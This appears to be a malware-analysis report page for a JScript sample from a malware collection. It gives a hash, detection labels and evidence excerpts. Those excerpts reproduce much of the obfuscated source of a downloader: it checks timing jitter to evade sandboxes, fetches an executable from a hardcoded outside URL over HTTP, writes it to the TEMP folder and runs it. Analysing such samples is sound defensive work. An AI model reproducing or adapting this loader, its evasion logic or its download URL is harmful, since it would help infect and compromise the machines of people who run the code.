Hostile ^100% javascript-malware-collection Download

20160328_9ed771c0d5347fcab8911fd3430d904c.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-2569a12895249695f35a3bb242fb6238662ddd6523e17c2e65e3edf96743c2bda39

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Iexyrd = false;
2var Ubwpjkdfrh = "CreateObject";
3var Ikvdbb = function Pfrwfbtckc() {return WScript[Ubwpjkdfrh]("WScript.Shell");}();
4var Ippfojf = 123213;
5var Vcubqxr = "MSXML2.XMLHTTP";
6var Oabzww = 2123213;
7var Ygtyymp = 0;
8function Uowmslp(Ugjsav){Ikvdbb["Run"](Ugjsav, Ygtyymp, Ygtyymp);};
9function Cgtlolfrmz(){return Vcubqxr;};
10function Yspahxt(Isegohfe, Hnkgv){return Isegohfe - Hnkgv;};
11function Xuzuzldv(){return Ubwpjkdfrh;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Iexyrd = true;
15  @end
⋯6 lines
22function Qxoiewkax()
23{
24var Ygzhi = new this["Date"]();
25var Akmvwf = Ygzhi["getUTCMilliseconds"]();
26WScript["Sleep"](Rahqjx());
27var Ygzhi = new this["Date"]();
⋯10 lines

English function-word token "for" lines 37–42

37:36… ;
38}
39var Uwhryjl = false;
40var Xsfgdl = false;
41for (var Ihctrzf = Ygtyymp; Ihctrzf < Rahqjx() * 1; Ihctrzf++){if (Qxoiewkax() != Ygtyymp){
42Uwhryjl  …

Contains a hardcoded insecure HTTP URL lines 49–63

49:4… (Uwhryjl && Bjzhgt() && Xsfgdl){
50function Dcvwkglxbw() {return Ikvdbb["ExpandEnvironmentStrings"]("%TEMP%/") + "Ek6X4w15.exe";};
51 Amsjtr = Cgtlolfrmz();
52 Jfzrtavop = WScript[Ubwpjkdfrh](Amsjtr);
53 var Phfxsuiln = 1;
54 while (Phfxsuiln){
55try {
56Jfzrtavop[Qvupc]("GET", "http://www.creative-drumschool.de/p3isakd", false);
57Jfzrtavop["send"]();
58Vdbrtedygx = "Sleep";
59do {WScript[Vdbrtedygx](Rahqjx() * 11)} while (Jfzrtavop["readystate"] < 4 );
60Phfxsuiln = Ygtyymp;
61} catch(Xwfikzxsp){Phfxsuiln = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ncigco(Wbxrxxprc) {var …

Calls computed member from function result lines 63–75

63:42…  (1, 2, 3, 4, 5, Wbxrxxprc); return Kvpzglz;};
64Svyizk = WScript[Xuzuzldv()]("ADODB.Stream");
65Amsjtr = Svyizk;
66Amsjtr[Qvupc]();
67Amsjtr["type"] = Ncigco(1);
68Amsjtr["write"](Jfzrtavop["ResponseBody"]);
69Svyizk["position"] = Ncigco(Ygtyymp);
70Amsjtr["SaveToFile"](Dcvwkglxbw(), Ncigco(2) );
71Svyizk["close"]();
72Uowmslp(Dcvwkglxbw());
73}
74}
75